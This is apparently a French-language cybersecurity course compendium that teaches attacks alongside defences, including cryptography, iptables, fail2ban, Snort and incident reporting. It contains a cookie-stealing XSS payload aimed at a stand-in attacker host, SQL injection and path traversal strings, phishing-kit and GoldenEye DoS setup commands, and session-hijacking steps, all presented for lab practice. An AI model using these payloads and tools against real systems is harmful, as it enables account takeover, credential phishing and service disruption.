DIMENSION 1 — Principes CIA
  Confidentialité · Intégrité · Disponibilité

DIMENSION 2 — États de l'information
  Transmission  (DET — Data in Transit)
  Stockage      (DAR — Data At Rest)
  Traitement    (données en cours d'utilisation en RAM)

DIMENSION 3 — Contre-mesures
  Politiques et bonnes pratiques  (niveau administratif)
  Personnes                        (formation, sensibilisation)
  Technologie                      (antivirus, firewall, IDS...)

27 cellules = 3 x 3 x 3 — chaque cellule = combinaison à sécuriser

① Découverte — chercheur ou attaquant trouve la faille
   Zero-day : inconnue du vendeur (0 jour de correction)

② Signalement (Responsible Disclosure)
   Informer privément l'éditeur — délai standard : 90 jours

③ Attribution CVE
   Identifiant unique : CVE-2024-XXXXX
   Publié dans la NVD — score CVSS v3 attribué (0.0 → 10.0)

④ Développement du patch par l'éditeur

⑤ Fenêtre de risque
   Entre la publication CVE et l'application du patch :
   des milliers d'attaquants automatisent l'exploitation

⑥ Suivi — vérification, veille, mise à jour NVD

Infection 1 :  Corps du virus [ENCRYPTE avec clé A] + Décrypteur A
Infection 2 :  Corps du virus [ENCRYPTE avec clé B] + Décrypteur B
Infection 3 :  Corps du virus [ENCRYPTE avec clé C] + Décrypteur C

► Le corps viral est identique mais son apparence change à chaque copie
► Un antivirus à base de signatures ne peut pas matcher
► Nécessite une détection heuristique ou comportementale

Scénario : Alice communique avec sa banque via HTTP (non chiffré)

  Alice ───[requête]───► PIRATE ►───[requête relayée]───► Banque
  Alice ◄──[réponse]─── PIRATE ◄───[réponse relayée]─── Banque

Le pirate :
  1. Se positionne physiquement ou logiquement sur le trafic
  2. Intercepte ET lit toutes les données (login, mot de passe)
  3. Peut modifier les données en transit (injection)
  4. Relayé les échanges — Alice et la banque ne savent rien

Techniques MitM courantes :
  ● ARP Poisoning : empóisonner la table ARP du réseau local
  ● DNS Spoofing  : rediriger vers un faux site
  ● SSL Stripping : dégrader HTTPS en HTTP
  ● Wi-Fi Evil Twin : faux point d'accès Wi-Fi

Contre-mesures :
  ● HTTPS/TLS obligatoire (chiffrement bout-en-bout)
  ● HSTS (HTTP Strict Transport Security)
  ● Certificats pinning
  ● VPN sur Wi-Fi public

① L'attaquant héberge des scripts PHP infectés sur un site web
② La machine victime visite le site → téléchargement silencieux
③ Le malware obtient les privilèges (escalade de privilèges)
④ Installation profonde dans le système (kernel/OS)
⑤ Désactivation des services de sécurité (antivirus, IDS)
⑥ Transformation en zombie pour futures attaques

Actions d'un rootkit actif :
  ● Cache ses propres processus aux outils système (ps, top)
  ● Cache ses fichiers dans l'explorateur
  ● Vole mots de passe, clés, certificats
  ● Ouvre une backdoor pour accès distant permanent

# XSS stockée : injecter dans un champ commentaire
# Payload de test (alert)
<script>alert('XSS Stockée OK')</script>

# Payload de vol de cookie
<script>document.location='http://attaquant.ma/steal?c='+document.cookie</script>

# XSS DOM : injecter via paramètre URL
# URL malveillante envoyée à la victime :
http://site-vulnerable.ma/page?default=<script>alert(document.cookie)</script>

# Contre-mesures :
# 1. Encoder les sorties HTML (htmlspecialchars en PHP)
# 2. Content Security Policy (CSP) headers
# 3. Sanitisation des entrées utilisateur

# Requête SQL légitime (login)
SELECT * FROM users WHERE name='Alice' AND password='motdepasse';

# Injection dans le champ mot de passe :
# Valeur injectée : random' OR '1=1';--
# Requête résultante :
SELECT * FROM users WHERE name='Alice' AND password='random' OR '1=1';--';
# '1=1' est toujours VRAI → contournement de l'authentification
# -- commente le reste de la requête

# UNION injection (extraction de données)
' UNION SELECT username, password FROM users--
# Fusionne les résultats avec la table users
# → affiche tous les mots de passe !

# Contre-mesures :
# 1. Requêtes préparées (prepared statements)
# 2. ORM (Object-Relational Mapping)
# 3. Validation des entrées
# 4. Principe du moindre privilège SQL

# Attaque de traversée de répertoire (path traversal)
# URL normale :
http://site.ma/get-file?name=rapport.pdf

# URL malveillante (remonte l'arborescence) :
http://site.ma/get-file?name=../../../../etc/passwd

# Variante avec encodage Unicode (faille Nimda/IIS) :
http://site.ma/scripts/..%c0%af../winnt/system32/cmd.exe

# Le serveur décode %c0%af en '/' et accède au répertoire restreint

# Contre-mesures :
# 1. Valider les entrées après décodage (pas avant)
# 2. Utiliser des chemins absolus et listes blanches
# 3. Appliquer les patches serveur (Microsoft IIS patch)
# 4. Principe du moindre privilège sur les répertoires

① Vérifier l'adresse email expéditeur (pas seulement le nom affiché)
   Exemple : "Service Attijariwafa Bank" 
   ● "attijarwfa" (faute) ≠ "attijariwafa"

② Survoler les liens SANS cliquer (affiche l'URL réelle dans la barre)
   Lien affiché : https://attijariwafabank.ma/connexion
   URL réelle   : https://attijarwfa-bank.ru/phishing

③ Repérer les émotions créées : urgence, peur, curiosité, récompense
   "Votre compte sera bloqué dans 24h si vous ne confirmez pas"

④ Vérifier le domaine expéditeur avec SPF/DKIM/DMARC
   Commande : dig TXT attijariwafabank.ma

Poignée de main TCP normale (3-way handshake) :
  Client  ── SYN ──►  Serveur  (je veux me connecter)
  Client  ◄─ SYN/ACK ─  Serveur  (OK, je t'attends)
  Client  ── ACK ──►  Serveur  (connexion établie)

SYN Flood (attaque) :
  Attaquant ── SYN (IP falsifiée) ─►  Serveur
  Attaquant ◄─ SYN/ACK ────────  Serveur (ACK envoyé dans le vide)
  [Milliers de connexions demi-ouvertes saturent la table TCP]
  [Nouvelles connexions légitimes refusées — serveur indéxt;ponible]

# SHA-256 d'un fichier
sha256sum fichier.iso

# Hacher une chaîne
echo -n "motdepasse" | sha256sum

# GnuPG : chiffrement symétrique AES-256
gpg --symmetric --cipher-algo AES256 fichier.txt
gpg --decrypt fichier.txt.gpg > fichier_dechiffre.txt

# AES Crypt
aescrypt -e -p "motdepasse_fort" rapport.pdf
aescrypt -d -p "motdepasse_fort" rapport.pdf.aes

① Bob génère sa paire de clés
   Clé publique  Bob_pub  →  partagée avec tout le monde
   Clé privée   Bob_priv →  gardée SECRETE par Bob

② Alice chiffre avec la clé PUBLIQUE de Bob
   Message + Bob_pub → [RSA] → Message chiffré

③ Bob déchiffre avec sa clé PRIVEE
   Message chiffré + Bob_priv → [RSA] → Message original

► Même si intercepte : sans Bob_priv, impossible de déchiffrer !

Couleur commune publique = JAUNE (connue de tous)

Alice secret : rouge  →  JAUNE+rouge = ORANGE  (envoyé à Bob)
Bob   secret : bleu   →  JAUNE+bleu  = VERT    (envoyé à Alice)

Alice : VERT   + rouge = MARRON  (clé commune)
Bob   : ORANGE + bleu  = MARRON  (même clé !)

Un écouteur voit JAUNE, ORANGE, VERT — ne peut pas calculer MARRON
► Secret partagé sans jamais l'avoir transmis !

SIGNER (Alice signe) :
  Document → [SHA-256] → Hash
  Hash + Clé PRIVEE Alice → [RSA] → Signature

VERIFIER (Bob vérifie) :
  Document → [SHA-256] → Hash calculé
  Signature + Clé PUBLIQUE Alice → [RSA] → Hash déchiffré

  Identiques  → Document authentique et intact
  Différents  → Document falsifié

Garanties :
  Authenticité     : seule Alice possède sa clé privée
  Intégrité        : toute modification change le hash
  Non-répudiation  : Alice ne peut pas nier avoir signé

Début    → 14 ans
1831     → 28 ans + renouvellement 28 ans
1976     → 75 ans OU vie + 50 ans
1998     → 120 ans OU vie + 70 ans
Maroc    → Vie de l'auteur + 70 ans
Après expiration → Domaine public (utilisation libre)

① Client Hello
   Client ─► Serveur : "Versions TLS supportées, algorithmes, nombre aléatoire"

② Server Hello + Certificat
   Client ◄─ Serveur : "Version choisie, certificat X.509, nombre aléatoire"

③ Echange de clé (Key Exchange)
   TLS 1.3 : Diffie-Hellman — Perfect Forward Secrecy automatique
   Client vérifie le certificat avec la CA

④ Finished — connexion sécurisée
   Les deux parties dérivent la même clé AES symétrique
   Toutes les communications suivantes chiffrées avec AES

Perfect Forward Secrecy (PFS) :
   Chaque session utilise une clé éphémère différente
   Si la clé privée du serveur est compromise PLUS TARD,
   les sessions PASSEES restent illisibles

# Installer OpenSSL
sudo apt-get -y install openssl
openssl version -a

# Générer clé privée + CSR en une commande
openssl req -newkey rsa:2048 -keyout PRIVATEKEY.key -out MYCSR.csr
# Remplir : Country (MA), State, Organization, Common Name (domaine)

# Générer CSR avec clé non chiffrée (pour serveur web)
openssl req -new -newkey rsa:2048 -nodes \
    -keyout example.ma.key -out example.ma.csr

# Vérifier le CSR
openssl req -text -in MYCSR.csr -noout -verify

# Auto-signer le certificat (365 jours)
openssl x509 -in MYCSR.csr -out MYCSR.crt \
    -req -signkey PRIVATEKEY.key -days 365

# Afficher le contenu
cat MYCSR.crt

# Installation
sudo apt-get update && sudo apt-get install rdiff-backup
rdiff-backup --version

# Sauvegarde LOCALE
sudo rdiff-backup source/ back_folder/

# Restauration locale
sudo cp -a back_folder/ restauration/

# Sauvegarde DISTANTE via SSH
rdiff-backup root@192.168.1.100::/var/www/html/ /backup/web/

# Historique des sauvegardes
rdiff-backup --list-increments back_folder/

# Restaurer à une date précise
rdiff-backup --restore-as-of 2024-11-15 back_folder/ /tmp/restore/

① RECONNAISSANCE (passive + active)
   Collecter infos sur la cible (OSINT, DNS, WHOIS)
   Cartographier la surface d'attaque

② SCAN (découverte technique)
   Nmap : ports ouverts, services, versions, OS
   Identifier les vulnérabilités potentielles

③ EXPLOITATION (accès initial)
   Exploiter les vulnérabilités découvertes
   XSS, SQLi, CVE connus, brute force

④ POST-EXPLOITATION (pivoting & persistance)
   Élever les privilèges, se déplacer latéralement
   Documenter tout ce qui est accessible

⑤ RAPPORT
   Lister toutes les vulnérabilités + scores CVSS
   Plan de remédiation priorisé

# Découverte des hôtes actifs
nmap -sn 192.168.1.0/24

# Scan complet (tous les ports, versions, OS)
nmap -sV -O -p- 192.168.1.100

# Scan rapide (ports courants)
nmap -F 192.168.1.100

# Scripts de vulnérabilités
nmap --script=vuln 192.168.1.100

# Scan furtif (SYN scan)
sudo nmap -sS 192.168.1.100

# Détecter le WAF
nmap -p 80,443 --script=http-waf-detect 192.168.1.100

# 1. Télécharger XAMPP : https://www.apachefriends.org/
# 2. Télécharger DVWA : https://dvwa.co.uk/
# 3. Extraire DVWA dans C:\xampp\htdocs\dvwa\
# 4. Renommer config.inc.php.dist → config.inc.php
# 5. Démarrer XAMPP (Apache + MySQL)
# 6. http://localhost/dvwa → "Create / Reset Database"
#    Login : admin | Password : password
# 7. DVWA Security → Low → Submit

① Connexion DVWA — niveau Low
② Cliquer "XSS (Stored)" dans le menu
③ Tester : Name=test1, Message=test2
④ CTRL+U → vérifier test1/test2 dans le HTML source
⑤ Injecter dans Message :
     <script>alert('XSS Stockée OK')</script>
⑥ Cliquer "Sign Guestbook"
⑦ Rafraîchir → alerte à chaque chargement (payload en BDD)
⑧ "Clear Guestbook" avant de passer au niveau Medium

XSS DOM — via URL :
① "XSS (DOM)" → URL : ?default=English
② Tester : ?default=hello → "hello" dans le DOM
③ Payload : ?default=<script>alert(document.cookie)</script>
► Affiche PHPSESSID — récupérable pour Session Hijacking

# BLACKPHISH (5 templates)
cd Desktop
git clone https://github.com/iinc0gnit0/BlackPhish
cd BlackPhish && ./install.sh
sudo python3 blackphish.py
# Facebook(1), Instagram(2), Google(3)...
# Choisir Instagram(1) → localhost(3)
# Entrer credentials fictifs → s'affichent dans le terminal

# SOCIALPHISH (33 templates)
mkdir Socialphish && cd Socialphish
git clone https://github.com/xHak9x/SocialPhish.git
cd SocialPhish && chmod +x socialphish.sh
./socialphish.sh
# Facebook(1), Netflix(8), Spotify(9), LinkedIn(10), Steam(11)...

Outils : Wireshark + extension Firefox "Cookie Editor"

① Wireshark → Capture → sélectionner l'interface réseau → Start
② Appliquer le filtre : http.cookie
③ Chercher les paquets GET/POST → HTTP avec le serveur
④ Développer "Hypertext Transfer Protocol"
⑤ Trouver : Cookie: PHPSESSID=j6oAOxCWZh...
⑥ Copier la valeur du cookie
⑦ Firefox → Cookie Editor → modifier la valeur du cookie
⑧ Accès au compte de la victime sans mot de passe !

Pourquoi : le serveur identifie l'utilisateur uniquement par son token
Sans vérification d'IP → n'importe qui avec le bon cookie = accès

http                              Tout le trafic HTTP
http.cookie                       Paquets contenant des cookies
http.request.method == "POST"     Formulaires soumis (credentials !)
ftp                               Trafic FTP (tout en clair)
telnet                            Trafic Telnet (tout en clair)
tcp.flags.syn == 1                Détection SYN Flood
host 192.168.1.100                Trafic vers/depuis une IP
not arp                           Exclure l'ARP

# Installation
git clone https://github.com/jseidl/GoldenEye.git
cd GoldenEye
./goldeneye.py --help
# Options : -s (workers), -m (méthode : get/post/random)

# Lancer l'attaque (LOCAL uniquement)
sudo ./goldeneye.py http://192.168.0.233:80/ -s 10 -m random
# -s 10      : 10 connexions simultanées
# -m random  : méthodes HTTP aléatoires

# Observer dans Wireshark pendant l'attaque
# Filtre : host 192.168.0.233 and tcp
# Observer la saturation des connexions TCP port 80

# Principe GoldenEye :
# Établit des connexions TCP complètes (3-way handshake)
# Envoie des requêtes HTTP légitimes mais très lentes
# Épuise le pool de connexions Apache/Nginx

# Ajouter le dépôt et installer
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-key FDC247B7
echo 'deb https://repo.windscribe.com/ubuntu bionic main' | \
    sudo tee /etc/apt/sources.list.d/windscribe-repo.list
sudo apt-get update && sudo apt-get install windscribe-cli

# Connexion
windscribe login
windscribe connect          # Meilleur serveur automatique
windscribe connect FR       # Serveur France → IP française

# Vérifier le changement d'IP
curl ifconfig.me            # Doit afficher l'IP du pays choisi

# Voir les serveurs disponibles
windscribe locations

# Déconnexion
windscribe disconnect

# Installation
git clone https://github.com/EnableSecurity/wafw00f.git
cd wafw00f && python3 setup.py install

# Détecter le WAF
wafw00f www.amazon.com
# Résultat : "amazon.com is behind Cloudfront (Amazon)"

# Scan complet (tous les WAF connus)
wafw00f -a www.target.com

# Via Nmap
nmap -p 80,443 --script=http-waf-detect www.target.com
nmap -p 80,443 --script=http-waf-fingerprint www.target.com

# Comment WAFW00F fonctionne :
# 1. Requêtes HTTP normales → analyse la réponse
# 2. Requêtes potentiellement malveillantes si WAF non détecté
# 3. Analyse patterns (codes HTTP, headers, body)
# 4. Identifie parmi +100 signatures WAF connues

# Mettre à jour Kali
sudo apt update && apt upgrade -y

# Installer OpenVAS
sudo apt install openvas

# Configuration initiale (≈ 15-30 min — télécharge les NVTs)
sudo gvm-setup
# NOTER le mot de passe admin généré à la fin !

# Vérifier l'installation
gvm-check-setup

# Démarrer les services
sudo gvm-start
# Interface web : https://localhost:9392

# Changer le mot de passe si oublié
gvmd --user=admin --new-password=nouveau_mdp

# Arrêter les services
sudo gvm-stop

① Ouvrir https://localhost:9392 → Connexion admin

② Scans → Tasks → icône baguette magique "Task Wizard"

③ Définir une cible :
   Name  : "Machine de test"
   Hosts : 192.168.1.100

④ Choisir le type de scan :
   Full and fast       → complet et rapide (recommandé)
   Full and very deep  → très détaillé mais lent
   Host discovery      → découvrir les hôtes actifs seulement
   System discovery    → OS et services principaux

⑤ Cliquer "Save" puis Play ►

⑥ Attendre la fin (15 min à plusieurs heures)

⑦ Cliquer sur le résultat → rapport détaillé

CVE-2021-44228 (Log4Shell) : CVSS 10.0
Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

AV:N  → Attack Vector : Network    (exploitable à distance)
AC:L  → Attack Complexity : Low    (facile à exploiter)
PR:N  → Privileges Required : None (aucun compte nécessaire)
UI:N  → User Interaction : None    (aucune action utilisateur)
S:C   → Scope : Changed            (impact au-delà du composant)
C:H   → Confidentiality : High     (fuite totale de données)
I:H   → Integrity : High           (modification totale)
A:H   → Availability : High        (déni de service possible)

Score 10.0 : exploitable à distance, sans privilège, impact total CIA

# Voir les règles
sudo iptables -L -v --line-numbers

# Politique par défaut : bloquer tout entrant
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

# Connexions déjà établies (conntrack)
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Loopback
sudo iptables -A INPUT -i lo -j ACCEPT

# Autoriser SSH, HTTP, HTTPS
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Bloquer une IP
sudo iptables -A INPUT -s 192.168.1.50 -j DROP

# Logger les paquets bloqués
sudo iptables -A INPUT -j LOG --log-prefix "iptables-DROP: "
sudo iptables -A INPUT -j DROP

# Supprimer une règle
sudo iptables -D INPUT 3

# Vider toutes les règles
sudo iptables -F

# Rendre persistantes
sudo apt install iptables-persistent
sudo netfilter-persistent save

# NAT masquerade (partager Internet)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Port forwarding (DNAT)
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \
    -j DNAT --to-destination 192.168.1.100:80

# Protection SYN Flood
sudo iptables -A INPUT -p tcp --syn \
    -m limit --limit 1/s --limit-burst 4 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP

# Installer ModSecurity sur Apache
sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo apt install modsecurity-crs
sudo systemctl restart apache2

# Détecter le WAF d'un domaine
wafw00f www.amazon.com
wafw00f -a www.target.com

# Via Nmap
nmap -p 80,443 --script=http-waf-detect www.target.com
nmap -p 80,443 --script=http-waf-fingerprint www.target.com

# Ccrypt
sudo apt-get install ccrypt
ccencrypt rapport.pdf        # Génère rapport.pdf.cpt
ccdecrypt rapport.pdf.cpt    # Restaure le fichier
ccencrypt -r dossier/        # Récursif

# Squid Proxy
sudo apt-get install squid
sudo nano /etc/squid/squid.conf
# http_port 3128
# acl localnet src 192.168.0.0/16
# http_access allow localnet
# acl bloques dstdomain .facebook.com
# http_access deny bloques
sudo systemctl restart squid
sudo tail -f /var/log/squid/access.log

# Générer une clé RSA 4096 bits
ssh-keygen -t rsa -b 4096 -C "admin@entreprise.ma"
ssh-copy-id user@192.168.1.100

# Sécuriser /etc/ssh/sshd_config :
# PermitRootLogin no
# PasswordAuthentication no
# PubkeyAuthentication yes
# Port 2222
# MaxAuthTries 3
# AllowUsers admin deployer
sudo systemctl restart sshd

sudo apt-get install fail2ban
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

# Dans jail.local :
# [sshd]
# enabled  = true
# port     = 2222
# maxretry = 3      → 3 tentatives → ban
# bantime  = 3600   → 1 heure
# findtime = 600    → fenêtre 10 min

sudo systemctl enable --now fail2ban
sudo fail2ban-client status sshd
sudo fail2ban-client set sshd unbanip 192.168.1.50

# Structure : action protocole src port -> dst port (options)

# Détecter ping ICMP
alert icmp any any -> 192.168.1.0/24 any     (msg:"Ping detecte"; sid:1000001; rev:1;)

# Détecter injection SQL
alert tcp any any -> any 80     (msg:"SQL Injection"; content:"OR 1=1"; nocase; sid:1000003;)

sudo snort -A console -i eth0 -c /etc/snort/snort.conf

              IMPACT
         1-Min  2-Mod  3-Sig  4-Maj  5-Crit
PROB 5   |  5  |  10  |  15  |  20  |  25  |
     4   |  4  |   8  |  12  |  16  |  20  |
     3   |  3  |   6  |   9  |  12  |  15  |
     2   |  2  |   4  |   6  |   8  |  10  |
     1   |  1  |   2  |   3  |   4  |   5  |

Score  1-5  → Faible   ► Tolérer
Score  6-12 → Modéré   ► Traiter
Score 15-25 → Élevé    ► Traiter/Transférer

Scénario 1 : Ransomware
  ● Isoler immédiatement les machines infectées
  ● Identifier le patient zéro et le vecteur d'entrée
  ● Activer le PRA : restaurer depuis le dernier backup sain
  ● Ne JAMAIS payer la rançon

Scénario 2 : Panne datacenter
  ● Activer le PCA : basculer sur site secondaire
  ● Rediriger le DNS vers l'infrastructure de secours

Scénario 3 : Zero-Day critique
  ● Isoler les systèmes affectés
  ● Appliquer des compensating controls en attendant le patch

Tests obligatoires :
  ● Test théorique (revue)    → annuel
  ● Test à blanc (simulation) → semestriel
  ● Test réel (basculement)   → annuel

1. RESUME EXECUTIF
   Nature, date/heure, systèmes affectés, impact métier

2. TIMELINE
   13h42 → Premier paquet SYN de l'IP 185.x.x.x
   13h47 → Exploitation CVE détectée par Snort
   14h05 → Détection SIEM — équipe alertée
   14h12 → Isolation du serveur affecté

3. IOC (Indicateurs de Compromission)
   IP source : 185.x.x.x (Roumanie)
   User-Agent : sqlmap/1.6
   Hash webshell : SHA256:3b4c...

4. IMPACT
   Données exfiltrées : table users (1 247 lignes)
   CIA : Confidentialité + Intégrité

5. PLAN DE REMEDIATION (priorisé CVSS)
   CRITIQUE [9.8] → Patcher SQLi — immédiat
   HIGH     [8.1] → Migrer MDP vers bcrypt — 48h
   HIGH     [7.5] → Déployer WAF — 1 semaine

# Serveurs Apache 2.2 au Maroc
# Filtre : apache/2.2 country:"MA"

# Interfaces admin exposées
# Filtre : title:"admin" port:80 country:"MA"

# CLI Shodan
pip install shodan
shodan init VOTRE_API_KEY
shodan search --fields ip_str,port,org "apache 2.2 country:MA"

N1 — Technicien (0-2 ans)
  Admin système/réseau, Wireshark, Nmap
  Certification : Security+
  Poste : Analyste SOC N1

N2 — Analyste (2-5 ans)
  Pentesting, analyse malwares, SIEM
  Certification : CEH
  Poste : Pentesteur, SOC N2

N3 — Expert (5-8 ans)
  Red Team, threat hunting, architecture
  Certification : OSCP
  Poste : Red Teamer, architecte sécurité

N4 — RSSI / CISO (8+ ans)
  Gouvernance, risques, conformité, management
  Certification : CISSP
  Poste : RSSI, DPO, Directeur cybersécurité

# Découverte des hôtes actifs
nmap -sn 192.168.1.0/24

# Scan complet de la cible
nmap -sV -O -p- 192.168.1.100

# Scan des vulnérabilités courantes
nmap --script=vuln 192.168.1.100

# Détecter le WAF
wafw00f http://192.168.1.100

# Headers HTTP (OSINT)
curl -I http://192.168.1.100

① XSS sur DVWA (Low/Medium/High)
   Tester XSS Stockée + XSS DOM
   Documenter : payload, résultat, niveau qui bloque

② Scan OpenVAS de la cible
   Full and fast scan
   Exporter le rapport PDF
   Top 3 vulnérabilités (par CVSS)

③ Capture Wireshark pendant les tests
   Filtre : http, http.cookie, tcp.flags.syn
   Documenter les credentials HTTP en clair

④ Rapport de vulnérabilités
   CRITIQUE : [CVSS X.X] ...
   HIGH     : [CVSS X.X] ...
   MEDIUM   : [CVSS X.X] ...

# 1. iptables
sudo iptables -P INPUT DROP
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# 2. HTTPS avec OpenSSL
openssl req -newkey rsa:2048 -keyout serveur.key -out serveur.csr -nodes
openssl x509 -req -in serveur.csr -signkey serveur.key -out serveur.crt -days 365

# 3. fail2ban
sudo systemctl enable --now fail2ban
sudo fail2ban-client status sshd

# 4. WAFW00F vérification
wafw00f http://localhost

# Chiffrer avec OpenSSL AES-256
openssl enc -aes-256-cbc -pbkdf2     -in donnees.txt -out donnees.enc -k "MDP_Fort_2024!"
openssl enc -d -aes-256-cbc -pbkdf2     -in donnees.enc -out donnees_dechiffrees.txt -k "MDP_Fort_2024!"

# Chiffrer avec Ccrypt
ccencrypt rapport_audit.pdf

# Sauvegarde locale
sudo rdiff-backup /var/www/html/ /backup/web/

# Sauvegarde distante SSH
rdiff-backup /var/www/ root@192.168.1.200::/backup/prod/

# Vérifier l'intégrité
sha256sum donnees.txt > checksum.sha256
sha256sum -c checksum.sha256

RAPPORT D'AUDIT DE SECURITE — PROJET FINAL M108

1. RESUME EXECUTIF
   Périmètre, méthodologie, synthèse des vulnérabilités

2. PHASE 1 — Reconnaissance
   Résultats Nmap : hôtes, ports, services, OS
   Résultat WAFW00F : WAF présent/absent

3. PHASE 2 — Exploitation
   XSS DVWA : payloads testés, niveaux vulnérables
   OpenVAS : top 3 vulnérabilités CVSS

4. PHASE 3 — Contre-mesures
   iptables configuré, HTTPS activé, fail2ban

5. PHASE 4 — Chiffrement
   AES-256 + Ccrypt + rdiff-backup opérationnel

6. PLAN DE REMEDIATION (CVSS)
   CRITIQUE [9.0+] → Immédiat
   HIGH     [7.0+] → 1 semaine
   MEDIUM   [4.0+] → 1 mois